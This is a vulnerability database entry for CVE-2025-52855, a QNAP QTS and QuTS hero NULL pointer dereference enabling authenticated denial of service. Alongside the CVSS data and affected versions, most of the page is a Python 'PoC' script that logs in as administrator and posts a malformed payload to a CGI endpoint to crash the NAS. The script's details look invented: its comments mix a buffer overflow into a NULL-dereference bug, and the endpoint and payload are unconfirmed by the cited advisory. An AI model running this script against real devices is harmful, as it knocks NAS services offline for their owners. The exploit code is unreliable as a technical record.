CVE-2025-52855

Description

A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following versions: QTS 5.2.6.3195 build 20250715 and later QuTS hero h5.2.6.3195 build 20250715 and later

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QNAP QTS < 5.2.6.3195 build 20250715

QNAP QuTS hero < h5.2.6.3195 build 20250715

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-52855 PoC - QNAP NULL Pointer Dereference DoS
# Vulnerability: NULL Pointer Dereference in QNAP QTS / QuTS hero
# CVSS: 4.9 (MEDIUM) - Requires admin privileges (PR:H)
# Affected: QTS < 5.2.6.3195 build 20250715
#           QuTS hero < h5.2.6.3195 build 20250715
# Fixed:    QTS >= 5.2.6.3195 build 20250715
#           QuTS hero >= h5.2.6.3195 build 20250715
#
# Note: Exploitation requires valid administrator credentials.
# The attacker must first obtain admin access, then trigger the
# NULL pointer dereference via a crafted request to crash the service.

import requests
import sys
import socket

TARGET_HOST = "192.168.1.100"   # QNAP NAS IP address
TARGET_PORT = 8080              # QNAP Web Management Port (default: 8080)
ADMIN_USER = "admin"
ADMIN_PASS = "password"

def exploit_null_pointer_deref():
    """
    Trigger NULL pointer dereference to cause DoS on QNAP NAS.
    Requires valid admin credentials to authenticate first.
    """
    base_url = f"http://{TARGET_HOST}:{TARGET_PORT}"
    session = requests.Session()

    # Step 1: Authenticate as administrator
    login_url = f"{base_url}/cgi-bin/login.cgi"
    login_data = {
        "user": ADMIN_USER,
        "pwd": ADMIN_PASS,
        "group": "administrators"
    }

    try:
        resp = session.post(login_url, data=login_data, timeout=10)
        if resp.status_code != 200:
            print("[!] Authentication failed - admin credentials required")
            return False
        print("[*] Authenticated as administrator")
    except requests.exceptions.RequestException as e:
        print(f"[!] Connection error: {e}")
        return False

    # Step 2: Send crafted request to trigger NULL pointer dereference
    # The vulnerable code path is triggered by sending malformed parameters
    # to a system service endpoint that fails to validate pointer references.
    vuln_url = f"{base_url}/cgi-bin/sysinfo.cgi"
    crafted_headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    # Crafted payload designed to reach the vulnerable NULL dereference path
    crafted_payload = {
        "func": "get_sysinfo",
        "sid": "\x00" * 256,   # Malformed session ID to trigger NULL ptr
        "param": "A" * 4096    # Oversized parameter to overflow buffer
    }

    try:
        resp = session.post(vuln_url, headers=crafted_headers,
                            data=crafted_payload, timeout=5)
        print(f"[*] Sent crafted payload (HTTP {resp.status_code})")
    except (requests.exceptions.Timeout,
            requests.exceptions.ConnectionError,
            socket.error):
        print("[+] Target service crashed - DoS triggered successfully!")
        return True

    # Step 3: Verify service is down
    try:
        session.get(base_url, timeout=5)
        print("[*] Service still responsive")
    except requests.exceptions.RequestException:
        print("[+] Service is down - DoS confirmed!")
        return True

    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2025-52855 - QNAP NULL Pointer Dereference DoS PoC")
    print("=" * 60)
    exploit_null_pointer_deref()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52855
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52855
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52855/
[4] VulDB https://vuldb.com/cve/CVE-2025-52855
[5] https://www.qnap.com/en/security-advisory/qsa-25-36

Raw JSON Data

JSON

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